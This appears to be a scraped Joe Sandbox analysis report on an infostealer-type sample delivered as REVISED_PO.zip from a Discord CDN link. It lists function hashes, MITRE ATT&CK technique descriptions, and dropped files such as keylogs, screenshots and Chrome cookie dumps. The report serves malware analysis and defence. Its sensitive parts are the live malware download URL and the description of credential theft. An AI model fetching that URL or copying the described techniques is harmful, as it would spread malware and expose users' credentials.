Instruction ID: cb5fadc042ad63820d0a723c49df4c5580c5363092e6358e64c0f2330bb09344
Opcode Fuzzy Hash: 1674ef51eef4c9cf6c46c56fc780198c48248c9ee3e352c2386833c419b851c4
Instruction Fuzzy Hash: C5E0CD71819284DFC7059BA0B5566F87F30AF03116F1C43DBC4489B552D7750981C351

Uniqueness

Uniqueness Score: -1.00%

Function 07084622 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.522939235.0000000007080000.00000040.00000800.00020000.00000000.sdmp, Offset: 07080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7080000_RudGXFgqTDEzz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5857cb541c4db289e4d8082bbece8f0e357a28069797126e790fcd11a4d4e9b
Instruction ID: 06e2dda34c383c1867ff53fb05007837e00ced78c36494d0fd542cd2af236566
Opcode Fuzzy Hash: a5857cb541c4db289e4d8082bbece8f0e357a28069797126e790fcd11a4d4e9b
Instruction Fuzzy Hash: 7EE08671909385DFC706DFA4E9062AE7F70AB02301F2842EBC44467795D7340A54CB96

Uniqueness

Uniqueness Score: -1.00%

Function 07084060 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.522939235.0000000007080000.00000040.00000800.00020000.00000000.sdmp, Offset: 07080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7080000_RudGXFgqTDEzz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e80fb640c519e473591ccd6dd272ee2fe0dccc5c841f258bab8701e92a48b991
Instruction ID: 3401385354db528513640651c375adf6d2dfa66eb4359fa39804a5dd5a940331
Opcode Fuzzy Hash: e80fb640c519e473591ccd6dd272ee2fe0dccc5c841f258bab8701e92a48b991
Instruction Fuzzy Hash: 07E01279000108EFCB45CF94D808E99BFB9FF09310B198199E6088B232C732E960EB51

Uniqueness

Uniqueness Score: -1.00%

Function 07081632 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.522939235.0000000007080000.00000040.00000800.00020000.00000000.sdmp, Offset: 07080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7080000_RudGXFgqTDEzz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbb4ed4652239337d9c68807d6a72e0dae1c8418ed06ff9a32019a76b6ffef08
Instruction ID: 499bbd7e25a60bf67179767763411c0e270d8dea4f9f56295333285c9014619c
Opcode Fuzzy Hash: bbb4ed4652239337d9c68807d6a72e0dae1c8418ed06ff9a32019a76b6ffef08
Instruction Fuzzy Hash: 5BD012709492848FC7069FB0AA4A6E93F30EF42215B1802DFD45557551C7344944D756

Uniqueness

Uniqueness Score: -1.00%

Function 07082FB8 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.522939235.0000000007080000.00000040.00000800.00020000.00000000.sdmp, Offset: 07080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7080000_RudGXFgqTDEzz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c3973229604dc95b2dced6a6a9de975173ed79ea4700018e1e18c12f7de4cd0
Instruction ID: 786af9c2379436633a25f69a61c94e876e7c8ac02069ec126df096b5beb540ac
Opcode Fuzzy Hash: 0c3973229604dc95b2dced6a6a9de975173ed79ea4700018e1e18c12f7de4cd0
Instruction Fuzzy Hash: 39E0EC74900208DFC744DFA8E549AADBBB4FB45311F6482EAD80867355C7315950CB85

Uniqueness

Uniqueness Score: -1.00%

Function 070845A0 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.522939235.0000000007080000.00000040.00000800.00020000.00000000.sdmp, Offset: 07080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7080000_RudGXFgqTDEzz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38e64c7834dad37986eb5e87624e90ca8f4982e3b8653efbc2a9bed5a04f2dff
Instruction ID: 10d58e884788e3bf9de624143b8d64903cd582a0b7d1f696d8d4cb84a805fd53
Opcode Fuzzy Hash: 38e64c7834dad37986eb5e87624e90ca8f4982e3b8653efbc2a9bed5a04f2dff
Instruction Fuzzy Hash: 55E017B4910208DFCB08EFA8E444AADBFB4FF45311F6042E9E8046B365C731AE80CB85

Uniqueness

Uniqueness Score: -1.00%

Function 07084C90 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.522939235.0000000007080000.00000040.00000800.00020000.00000000.sdmp, Offset: 07080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7080000_RudGXFgqTDEzz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f89e49b622f2cb8bc38481cc73d2a2aa8f214097aabb727086c29903db316f74
Instruction ID: bafe86fd51d99ecc1eca164eba452998dc414a170da5bf8272e9ff729bd10e4b
Opcode Fuzzy Hash: f89e49b622f2cb8bc38481cc73d2a2aa8f214097aabb727086c29903db316f74
Instruction Fuzzy Hash: 4AE0E2B091120CEFCB94EFF8A44429DBBB5AF04201F6002AEC84896244E7719A81CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0708F13D Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.522939235.0000000007080000.00000040.00000800.00020000.00000000.sdmp, Offset: 07080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7080000_RudGXFgqTDEzz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 997fa0921388a64811d6fc05e665adb51bba496c362b1bdc465ccbe09db97fbc
Instruction ID: 056902554d08ebde4ecc297e3d34ff6ae1340a4e9a5a3ff30c989c3a7ca10a64
Opcode Fuzzy Hash: 997fa0921388a64811d6fc05e665adb51bba496c362b1bdc465ccbe09db97fbc
Instruction Fuzzy Hash: 59F0AEB49152598FCB90CF98C981B9EB7F1BF48340F1095D6D40AB7304D2349A80CE20

Uniqueness

Uniqueness Score: -1.00%

Function 07084630 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.522939235.0000000007080000.00000040.00000800.00020000.00000000.sdmp, Offset: 07080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7080000_RudGXFgqTDEzz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3a848ee51f230507b051cb8c400a8bccf9ef0820f168b4f431d1f161ebca7f1
Instruction ID: 695e52bcb48e219668993891fc63cea4a53de280ea08c9649c58b7bca978fd59
Opcode Fuzzy Hash: b3a848ee51f230507b051cb8c400a8bccf9ef0820f168b4f431d1f161ebca7f1
Instruction Fuzzy Hash: F3D05EB0901208ABCB04EFE8F4096ADBFB4BB40300F6442A9C80423248D7301A50DB89

Uniqueness

Uniqueness Score: -1.00%

Function 07081640 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.522939235.0000000007080000.00000040.00000800.00020000.00000000.sdmp, Offset: 07080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7080000_RudGXFgqTDEzz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7e137eae97432ed8a2b0972f6674d1c156875c573464e7ceb759275293b769e
Instruction ID: c146bbdfec7d3c69f1c87e104e7d4d85ce77ec0fbd1db5b59187ae11efaccc05
Opcode Fuzzy Hash: a7e137eae97432ed8a2b0972f6674d1c156875c573464e7ceb759275293b769e
Instruction Fuzzy Hash: AFD012B041520DEFCB58DFE5F40ABAE7F7CEB02315F1402ADD40953250DB715950DA99

Uniqueness

Uniqueness Score: -1.00%

Function 070858E8 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.522939235.0000000007080000.00000040.00000800.00020000.00000000.sdmp, Offset: 07080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7080000_RudGXFgqTDEzz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c0e69ddf3177c585c54772dff9f4e4f6672b2672c612922ba4aff8494a28d25
Instruction ID: fe599833254bc6c2c3f88a4edd6a9a21681b5b055a08d394360d5ada0cea7fbb
Opcode Fuzzy Hash: 6c0e69ddf3177c585c54772dff9f4e4f6672b2672c612922ba4aff8494a28d25
Instruction Fuzzy Hash: B5D0126F0492905FD303632064628D27F71AF1712530A81E3D1845B4738506459CDBF3

Uniqueness

Uniqueness Score: -1.00%

Function 070840A2 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.522939235.0000000007080000.00000040.00000800.00020000.00000000.sdmp, Offset: 07080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7080000_RudGXFgqTDEzz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 573ee7127633a891c3a5591a1d4018298028cbfcd6c633c80abd9155d9a17a7e
Instruction ID: a806cd362f1ce95a5d75a7a3901eb972d24550ba69bea0bf11bda5838c485528
Opcode Fuzzy Hash: 573ee7127633a891c3a5591a1d4018298028cbfcd6c633c80abd9155d9a17a7e
Instruction Fuzzy Hash: 14D0923B400248EFCB428F90D848CD4BFB6EB19221709C0A6FA094A832D3729460EF41

Uniqueness

Uniqueness Score: -1.00%

Function 0708220F Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.522939235.0000000007080000.00000040.00000800.00020000.00000000.sdmp, Offset: 07080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7080000_RudGXFgqTDEzz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13a1385d141848a7e5b3b6c2f9986ad584115f328a03106dee2eb7a106278b9a
Instruction ID: 4879f8612e7933f654b6dd4aee7e291e351243728477f9257cb1a232872ba4f7
Opcode Fuzzy Hash: 13a1385d141848a7e5b3b6c2f9986ad584115f328a03106dee2eb7a106278b9a
Instruction Fuzzy Hash: 4CE00974914228CFCBA4DF20D959BDABBB5AB89301F019699950AA2290CB382E85CF40

Uniqueness

Uniqueness Score: -1.00%

Function 0708EE60 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.522939235.0000000007080000.00000040.00000800.00020000.00000000.sdmp, Offset: 07080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7080000_RudGXFgqTDEzz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cd4c697563ea840e0df0c85c317b2942108969266c52cf107a1f4e7d551ca26
Instruction ID: 955eabdf82e861e1f16a9855982ee47e9cc68f5b3d9ff81a045f5402b29715f4
Opcode Fuzzy Hash: 7cd4c697563ea840e0df0c85c317b2942108969266c52cf107a1f4e7d551ca26
Instruction Fuzzy Hash: 70D06CB4900358CFCB50CFA1C9849AEBBB2FB4A301F218299E84977314C736AE81CF41

Uniqueness

Uniqueness Score: -1.00%

Function 0708F301 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.522939235.0000000007080000.00000040.00000800.00020000.00000000.sdmp, Offset: 07080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7080000_RudGXFgqTDEzz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96000eadab7006ff97d377e9a29870024e72cdbca774ddad25fb9e82f8f1a411
Instruction ID: 097589725f7e861d21b36684ea59806a4ff483f22ddef517e9fc9f641e87abbd
Opcode Fuzzy Hash: 96000eadab7006ff97d377e9a29870024e72cdbca774ddad25fb9e82f8f1a411
Instruction Fuzzy Hash: 9AD09E74512355CFC759DF60C18495A7BB2FF4A301F111698E40667315CB39DD80CF10

Uniqueness

Uniqueness Score: -1.00%

Function 070840A8 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.522939235.0000000007080000.00000040.00000800.00020000.00000000.sdmp, Offset: 07080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7080000_RudGXFgqTDEzz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d949cdff6bc51800fbba364012b8a0a69ab6455f247fa6c53dd281f67c7d1ba
Instruction ID: 60aa26b7ae17d34bcf6f4b6123504fe84d6ebbed31ba73974c348a1c5e060049
Opcode Fuzzy Hash: 7d949cdff6bc51800fbba364012b8a0a69ab6455f247fa6c53dd281f67c7d1ba
Instruction Fuzzy Hash: 75C0023B000108EFCB029F80EC08C85BFAAEB48311B05C091FA094B432D772D574EF51

Uniqueness

Uniqueness Score: -1.00%

Function 07081870 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.522939235.0000000007080000.00000040.00000800.00020000.00000000.sdmp, Offset: 07080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7080000_RudGXFgqTDEzz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6af8eeea16f4f826bfc7ffbafc6d10d12e448411ddf578b425db1bce3ebf817a
Instruction ID: 182fd83eae45a46ddd1e266d44f3202fa83dd46c95769c5349854a6b7efbbab9
Opcode Fuzzy Hash: 6af8eeea16f4f826bfc7ffbafc6d10d12e448411ddf578b425db1bce3ebf817a
Instruction Fuzzy Hash: CAC09BB912410CEFC751B758C944C9B7A92FF59340B80CD57E1D445031CA25D4259B13

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0E5AF0D8 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.526097351.000000000E5A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0E5A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e5a0000_RudGXFgqTDEzz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 983878b6a065a6dc3ad077416ccec80090a0fa6f243a2523903b4ea303d74f88
Instruction ID: 44b9e754650ec8366e43b4a64da0661da2f058753bba5b712cfc0823375be478
Opcode Fuzzy Hash: 983878b6a065a6dc3ad077416ccec80090a0fa6f243a2523903b4ea303d74f88
Instruction Fuzzy Hash: 1B313770E0A218DFDB14CFA6E484BFDBAF1BF4A300F58982AE115B3250D7744985CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0E5AF0E8 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.526097351.000000000E5A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0E5A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e5a0000_RudGXFgqTDEzz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f772e5a3707ffd9d299c4db1d635174471bc759d4084ba2439af1df9e7656384
Instruction ID: 6853e280b166501374d53f94340b29750be8182fe67a6d9ba4db0fbe6364b685
Opcode Fuzzy Hash: f772e5a3707ffd9d299c4db1d635174471bc759d4084ba2439af1df9e7656384
Instruction Fuzzy Hash: CB312D70E0A218DFDB14DFA6D4847FEBAF5BF4A300F58982AE109B3250D7744941CB68

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://cdn.discordapp.com/attachments/897446870190800920/1077789889103405057/REVISED_PO.zip

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Persistence and Installation Behavior

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Zip.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RudGXFgqTDEzz.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\update_232209.exe.log

C:\Users\user\AppData\Local\Temp\2023-02-22-10-31-40-screenshot.png

C:\Users\user\AppData\Local\Temp\2023-02-22-10-34-keylogs.txt

C:\Users\user\AppData\Local\Temp\2023-02-22-10-40-29-screenshot.png

C:\Users\user\AppData\Local\Temp\2023-02-22-10-41-keylogs.txt

C:\Users\user\AppData\Local\Temp\2023-02-22-11-09-24-screenshot.png

C:\Users\user\AppData\Local\Temp\2023-02-22-11-09-keylogs.txt

C:\Users\user\AppData\Local\Temp\CH_C8BC548DD2.zip

C:\Users\user\AppData\Local\Temp\CH_C8BC548DD2\Browsers\Chrome_Cookies.txt

Windows Analysis Report
https://cdn.discordapp.com/attachments/897446870190800920/1077789889103405057/REVISED_PO.zip

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre